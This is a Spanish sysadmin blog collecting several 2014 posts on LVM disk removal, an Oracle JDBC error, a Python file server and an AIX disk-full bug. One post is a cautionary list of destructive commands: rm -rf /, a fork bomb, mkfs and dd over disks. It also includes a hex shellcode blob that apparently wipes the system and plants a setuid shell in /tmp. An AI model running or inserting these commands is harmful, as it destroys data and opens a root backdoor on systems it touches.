miércoles, 27 de agosto de 2014

Can't open /dev/mapper/ exclusively - not removing. Mounted filesystem?

Por elevado/distraido presente dos discos desde la SAN (para mi caso un IBM StoreWize 7000) de 20Gb cada uno cuando realmente debía ser solo de 2Gb, a un par de servidores Linux que van destinados para montar Oracle RAC; es decir, me sobre en el espacio asignado.

Como estos discos ya habían sido pasados por el fdisk y mapeados en ambas máquinas no me funciona el hecho de solo reducir el tamaño desde el almacenamiento ya que el fdisk le dice al sistema dónde inicia y termina cada uno los sectores de los discos en cuestión.

Se podría pensar... mmm entonces un pvresize, y de hecho pvresize nos permite "reducir" el tamaño del disco "a nivel de sistema operativo" actualizando los sectores con la siguiente instrucción:


#pvresize --setphysicalvolumesize 2G /dev/mapper/disco1
#pvresize --setphysicalvolumesize 2G /dev/mapper/disco2

Y los discos quedan "a nivel de sistema operativo" de 2G; pero si consultas el almacenamiento sigues viendo los dos discos de... 20Gb cada uno y el objetivo es recuperar esas 18Gb (bueno 36Gb si sumamos los dos discos) que luego podemos utilizar para otras cosas.

Se intentó con el comando pvremove pero me arrojaba el mensaje:

Can't open /dev/mapper/ exclusively - not removing. Mounted filesystem?

Por más que lo intentaba no lograba removerlo hasta que intené con otros comandos.

Hice un fdisk del disco para ver toda su información a nivel de sectores, heads, etc  y note que me aparecía otra ruta mapeada asociada al disco principal.  Ejemplo:

#fdisk /dev/mapper/mpathb

WARNING: DOS-compatible mode is deprecated. It's strongly recommended to
         switch off the mode (command 'c') and change display units to
         sectors (command 'u').

Orden (m para obtener ayuda): p

Disco /dev/mapper/mpathb: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders
Units = cilindros of 16065 * 512 = 8225280 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x3cd70bd4

          Disposit. Inicio    Comienzo      Fin      Bloques  Id  Sistema
/dev/mapper/mpathbp1               1        2610    20964793+  8e  Linux LVM

mmm, entonces pensé que quizás esta era la razón por la que no se dejaba remover el disco así que trate de eliminar primero este dispositivo con (inocentemente) con el pvremove, pero me apareció el siguiente mensaje del sistema operativo burlándose de mi:

#pvremove /dev/mapper/mpathbp1

No physical volume label read from /dev/mapper/mpathbp1
  Physical Volume /dev/mapper/mpathbp1 not found

Entonces recorde el comando dmsetup que tiene que ver con el mapeador de dispositivos y que tiene un parámetro para remover así que...

#dmsetup remove /dev/mapper/mpathbp1
#dmsetup remove /dev/mapper/mpathb
#pvdisplay /dev/mapper/mpathb
Failed to read physical volume "/dev/mapper/mpathb"

Eureka.  Solucionado; ya no existe el disco.  Ahora si puedo generar los discos con el tamaño adecuado y presentarlos nuevamente a los servidores.

En mi caso, cuando fui a validar en el otro nodo si ya había desaparecido del listado de los pv el disco se quedo pegado al ejecutar el comando:

#pvdisplay

No me dio más de otra que reiniciar la máquina desde el manager y esperar a que volviera a la vida.  Debe haber algún procedimiento por pulir y creería que es el borrar el /dev/mapper/mpathbp1 desde dicho nodo y luego el otro desde el nodo contrario.

Queda ese tema por validar, aunque confieso que no he mirado los logs del sistema para que me cuenten qué sucedió pero de que me funcionó, me funcionó!

viernes, 15 de agosto de 2014

Io Exception: NL was generated

Ayer en la madrugada una vez terminada de migrar unas bases de datos hacia los nuevos servidores, se nos presentó un error al subir uno de nuestros switches transaccionales y a esa hora de la madruga lo último que uno quiere es que aparezca un error que no existe en nuestra base de conocimiento.

No hubo más de otra que recurrir a nuestro más preciado amigo GOOGLE y abriendo y abriendo webs dí con una que nos permitió dar solución al asunto.

La línea que te muestra que aún no te puedes ir a dormir es:

java.sql.SQLException: Io exception: NL Exception was generated

Nuestro string de conexión es de la forma:

jdbc:oracle:thin:@DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = el_scan_del_host)(PORT = elpuerto)))(LOAD_BALANCE = YES)(CONNECT_DATA = (SERVER = DEDICATED)    (SERVICE_NAME = sid_delabase)(FAILOVER_MODE = (TYPE = SELECT)(METHOD = BASIC)(RETRIES = 180)(DELAY = 5))))

¿Y de qué forma nos funcionó?  Pues tuvimos que hacer algunos cambios hasta que quedó de la forma:

jdbc:oracle:thin:@DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = la_ip_del_scan)(PORT = elpuerto)))(LOAD_BALANCE = YES)(CONNECT_DATA = (SERVER = DEDICATED)    (SERVICE_NAME = sid_delabase)

Se intentó cargar nuevamente el switche transaccional y eureka a descansar!!

Fuente:
http://www.dba-oracle.com/bk_nl_exception_connecting_10g_rac_jdbc.htm

miércoles, 13 de agosto de 2014

Comandos peligrosos en Linux

Si eres un fan de linux y estás dando ese paso de junior a senior en el uso de tu sistema operativo,
seguramente te habrás dado cuenta que la consola es una gran ayuda a la hora de administrar nuestro
pc o nuestras aplicaciones ya que dicha consola nos permite ver los logs, matar procesos, controlar espacios, programar tareas, etc.

Para llevar a cabo esas tareas de administración te vales de comandos muy útiles como el grep, top, df, entre otros; pero si tienes las credenciales de acceso como root (que es de suponer) existen otros comandos con los que se debe ser extremadamente cuidadoso, sobre todo en ambientes productivos ya que con la ejecución de éstos te pueden dar una liquidación y vacaciones permanentes por parte de tu empresa.

Te presento entonces algunos de los comandos que debes NO tratar de ejecutar:

1. rm -rf /
Este comando te dá expulsión inmediata de cualquier empresa que tenga en alta estima el activo llamado información digital.

Con esta instrucción estás eliminando TODO en el disco duro incluyendo los archivos en dispositivos de medios extraíbles conectados (excluyendo unidades CD/DVD montadas)

rm --> borra ficheros o directorios
-f --> no pide confirmación
-r o -R --> borra de forma recursiva árboles de directorio
/ --> Directorio raíz (así como para hacernos a la importancia de éste fíjate en la imagen)


2. rm -rf / (oculto)
Este es el equivalente al comando del numeral anterior sólo que en su versión hexadecimal la cual puede ir perfectamente oculta un script de bash o mejor en uno de Python.  Se suelen sufrir los mismos síntomas después de ejecutarse como root (la empresa te regala unas vacaciones permanentes)

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


3. :(){ :|: & };:
Esto es otro script que se utiliza para generar un ataque de denegación de servicio.

4. mkfs.ext4 /dev/sda1
Este comando es el equivalente en Microsoft Windows a Format C:

mkfs.ext4 --> Crea un nuevo systema de archivos tipo ext4
/dev/sda1 --> Especifica la partición primaria en el primer disco que seguramente tendrá datos y estará en uso.

5. ls > /dev/sda
Escribe los datos directamente en el disco duro dañando el sistema de archivos
ls --> Ejecuta el comando ls (listar estructura)
>  --> Envía la salida del comando a la ubicación indicada
/dev/sda --> Escribe la salida del comando directamente en esta ubicación

6. dd if=/dev/random of=/dev/sda
dd --> Copia de bajo nivel desde un lugar a otro
if=/dev/random --> Usa /dev/random (data aleatoria) como la entrada

of=/dev/sda --> Salida para el primer disco duro, sustituyendo el sistema de archivos con datos al azar.

7. mv ~ /dev/null
Mueve su directorio personal (home) a un lugar inexistente
mv --> Comando para mover archivos y/o directorios
~ --> Representa la entrada a su directorio personal
/dev/null --> Mueve su directorio personal a /dev/null, perdiendo todos sus archivos y borrándolos de la copia original

8. cd / ; find -iname init -exec rm -rf {} \;
Este comando borrará todos los archivos que contenga la palabra init.
init --> Arranque del sistem que llama a otros scripts para definir el runlevel con se iniciará el sistem (0 para detener el sistema, 5 entorno gráfico, 6 para reiniciar)
find --> comando para buscar archivos

martes, 12 de agosto de 2014

Iniciar un servidor HTTP estático en un directorio con Python

Si usted necesita un rápido servidor web corriendo y no quiere meterse con la configuración de apache o algo similar, entonces Python puede ayudar. 

Python viene con un sencillo servidor HTTP incorporado. Con la ayuda de este pequeño servidor HTTP puede convertir cualquier directorio en su sistema en el directorio del servidor web. La única cosa que usted necesita tener instalado es Python.

En la práctica esto es muy útil para compartir archivos dentro de su red local. La implementación de este pequeño pero enormemente útil servidor HTTP es muy simple, es sólo un único comando de línea. 

Supongamos que me gustaría compartir el directorio /home/maengora y mi dirección IP es 192.168.1.2.

Abro una terminal y escribo


#python -m SimpleHTTPServer

Con lo que obtendremos una salida similar a esta:

Serving HTTP on 0.0.0.0 port 8000 ...

El puerto por defecto es el 8000 si se quiere indicar un puerto diferente bastarácon agregarlo al final del comando, así:

#python -m SimpleHTTPServer 58000
Fuente:

domingo, 10 de agosto de 2014

Filesystem / full en AIX

Me ocurría en la oficina que varios de los servidores AIX, destinados a bases de datos, se les comenzaba a llenar el filesystem / y tengo un script que una vez llega al umbral del 90% de ocupación comienza a mandar una alerta y ésta ya se estaba empezando a volver molesta.

Inicialmente comencé a borrar unos archivos que encontraba en la siguiente ruta

#cd /etc/perf/daily

Los archivos que allí se encuentra tienen la siguiente estructura:

nombrehost _conscutivo.topas

En estos archivos se suele guardar o recopilar la data de rendimiento de la máquina el cual puede ser leído mediante el comando

#topasout -a nombrearchivo.topas

Este borrado me funcionaba ya que el porcentaje de ocupación del / quedaba en 86%.

Hace poco se volvió a llenar el filesystem y aunque borre todos los archivos .topas que habían en el directorio éste no bajo su porcentaje de ocupación (93%). 

Buscando un poco en internet me dí cuenta que es un bug del common agent services (CAS) de aix y que se resuelve (logueado como root) de la siguiente manera:

Trabajemos con este ejemplo de este servidor que se encuentra al 87%




Vamos al directorio /dev
> cd /dev
> ls -lrt null*



Esto es realmente lo que llena nuestro filesystem (null 2>&1)

Detenemos el servicio cas:
>stopsrc –s cas_agent

Y luego editamos el script que lanza dicho servicio:
>vi /var/opt/tivoli/ep/runtime/nonstop/bin/cas_src.sh

Buscamos las líneas donde aparece:

else 
    CAS_SRC_LOG=”/dev/null 2>&1” 
fi




Y la cambiamos por esta:

else 
    CAS_SRC_LOG=”/dev/null” 
fi



Guardamos el archivo y procedemos a borrar el causante de nuestra dolencia.

>rm "/dev/null 2>&1"


Iniciamos nuevamente el servicio:
>startsrc –s cas_agent

Y validamos el resultado:
>df -g

Y del 87% de ocupación bajamos al 17%; para este ejemplo una ganancia del 70%.  Ahora cuando se llene tocará ver qué otra cosa es, porque el bug ya lo aplastamos.

Fuente del artículo